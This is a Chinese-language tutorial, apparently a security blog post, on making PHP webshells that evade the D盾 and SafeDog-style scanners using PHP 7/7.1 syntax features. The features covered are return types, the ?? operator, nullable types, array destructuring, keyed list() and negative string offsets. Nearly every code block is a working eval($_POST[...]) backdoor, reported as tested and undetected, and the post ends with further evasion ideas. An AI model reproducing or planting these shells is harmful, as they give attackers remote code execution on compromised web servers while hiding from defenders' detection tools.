前言
最近在研究webshell免杀,抽出心得的一个新颖的点。原因是突然想到既然php7.1不能利用可变函数的assert,那就利用php7的新特性来绕过查杀正则,最终绕过某盾和“某d0g”。
实验环境在7.1.9,所有马儿在php7以下的环境均不能使用。
D盾规则库(最新):20191227
某d0g因为可能会因为用其产品测试,导致侵权行为,为了防止被举报所以就不放图了。
前置实验
某盾
首先以下代码
1 | <?php |
2 | $a='aaaa'; |
3 | eval($a); |
4 | ?> |
直接误报了。
因此,直接传参到eval里面是不现实的。
所以接下来我们要利用函数,配合php新特性来绕过它。
某d0g
而对于某d0g,只要以下代码
1 | $a=$_POST['b']; |
2 | eval($b) |
就会让其误报。
因此在写免杀马的时候,post中的变量,不要出现在eval中的字符串中。就像上面b
一样,尽管他在eval
中是以变量的形式出现的。
有了这个基础就可以进入正题了
PHP7.0.x
返回值类型声明
php7增加了返回值类型声明的支持,在定义函数时增加一个 :类型
便可以了。
例如:
1 | function a():int{ |
2 | ... |
3 | } |
就是函数返回值类型要为int。否则会强制转换或者显示语法错误。
如果未更新此特性的查杀软件,就会不认识此函数,导致被绕过。
例如:
1 | <?php |
2 | function b():string{ |
3 | return $_POST['h3art3ars']; |
4 | } |
5 | eval(b()); |
6 | ?> |
可以用查杀软件测试一下。
发现没有被检测到。
可以使用。
null合并运算符
由于日常使用中存在大量同时使用三元表达式和 isset()
的情况, 添加了null合并运算符 (??) 这个语法糖。如果变量存在且值不为NULL
, 它就会返回自身的值,否则返回它的第二个操作数
简单来说:
1 | $a=isset($_POST['a'])?$_POST['a']:'h3art3ars'; |
2 | <=> |
3 | $a=$_POST['a']??'h3art3ars'; |
如果运用 ??
符号,查杀软件不会理解着个处理过程 ,可能就会导致绕过。
就像以下代码就可以绕过某d0g
1 | <?php |
2 | $a=$b??$_POST['h3art3ars']; |
3 | eval($a); |
4 | ?> |
再利用函数调用一下
1 | <?php |
2 | function a(){ |
3 | $a=$b??$_POST['h3art3ars']; |
4 | return $a; |
5 | } |
6 | eval(a()); |
7 | ?> |
可以发现已经过了D盾
测试一下可用性
接下来看看7.1的特性吧
php7.1.x
可为空(Nullable)类型
1 | 参数以及返回值的类型现在可以通过在类型前加上一个问号使之允许为空。 当启用这个特性时,传入的参数或者函数返回的结果要么是给定的类型,要么是 null 。 |
比7.1的特性多了个 ?
函数返回值若不是给定类型,则为空。
使用同样的代码:
1 | <?php |
2 | function a(): ?string |
3 | { |
4 | return $_POST['h3art3ars']; |
5 | } |
6 | eval(a()); |
7 | ?> |
不出意外
过了D盾
短数组语法
1 | 短数组语法([])现在作为list()语法的一个备选项,可以用于将数组的值赋给一些变量(包括在foreach中)。 |
这里选用中括号 []类型
的列表来演示。
1 | $a=['a','b']; |
2 | [$c,$d]=$a; |
这样,就把数组的值分别赋给了$c
,$d
.$c='a';$d='b';
这样,就可以用这个少用的特性,来绕过静态查杀
首先写一个最简单的:
1 | <?php |
2 | $a=['h3art3ars',$_POST['h3art3ars']]; |
3 | [$c,$d]=$a; |
4 | eval($d); |
5 | ?> |
然后就过了某d0g。自行测试。
之后就可以配合函数。就像这样:
1 | <?php |
2 | function a(){ |
3 | $a=['h3art3ars',$_POST['h3art3ars']]; |
4 | [$c,$d]=$a; |
5 | return $d; |
6 | } |
7 | eval(a()); |
8 | ?> |
查杀一下
测试可用性
list()现在支持键名
1 | 官方说明:现在list()和它的新的[]语法支持在它内部去指定键名。这意味着它可以将任意类型的数组 都赋值给一些变量(与短数组语法类似) |
这个很绕,看一下例子也许就会明白了。
eg:
1 | $data = ["id" => 1, "name" => 'h3art3ars']; |
2 | ["id" => $a, "name" => $b] = $data; |
3 | //结果$a=1,$b='h3art3ars' |
稍微改改就能过某d0g(自行测试):
1 | <?php |
2 | $a=[ |
3 | "shell"=>'a', |
4 | "c"=>$_POST['h3art3ars'], |
5 | ]; |
6 | ["shell"=>$c,"c"=>$b]=$a; |
7 | eval($b); |
8 | ?> |
试试D盾
报了一级
再次借助自定义函数。
1 | <?php |
2 | function a(){ |
3 | $a=[ |
4 | "shell"=>'a', |
5 | "c"=>$_POST['h3art3ars'], |
6 | ]; |
7 | ["shell"=>$c,"c"=>$b]=$a; |
8 | return $b; |
9 | } |
10 | eval(a()); |
11 | ?> |
成功过D,测试可用性。
支持为负的字符串偏移量
官方说明:
1 | 现在所有支持偏移量的字符串操作函数 都支持接受负数作为偏移量,包括通过[]或{}操作字符串下标。在这种情况下,一个负数的偏移量会被理解为一个从字符串结尾开始的偏移量。 |
这个在小于7.1版本中,负的偏移量返回空字串。
eg:
1 | <?php |
2 | $a="h3art3ars"; |
3 | var_dump($a[-1]); |
4 | ?> |
7.1.x中返回 s
,但是以前的版本中 返回 string(0) ""
思路:
我们可以这个拆分字符串,使规则识别不出来。最后再配合php的可变变量:
1 | <?php |
2 | $a="TSOP_"; |
3 | $b=$a[-1].$a[-2].$a[-3].$a[-4].$a[-5]; |
4 | $c=${"$b"}['h3art3ars']; |
5 | eval($c); |
6 | ?> |
这样就可以过某d0g了。但是对于D盾来说,会识别拼接字符,和可变变量。报一级可疑文件
,不得不说这点做的确实很好。
尾
其实还有很多特性,就像通过define()定义常量数组
,也都可以举一反三去绕过。而且不止自定义函数,还可以配合类,可变变量等,来绕过静态查杀。
还可以利用 太空船操作符(组合比较符)
,整数除法函数 intdiv()
等来绕过动态查杀。
这里给D哥的规则库又能添加几条了。哈哈。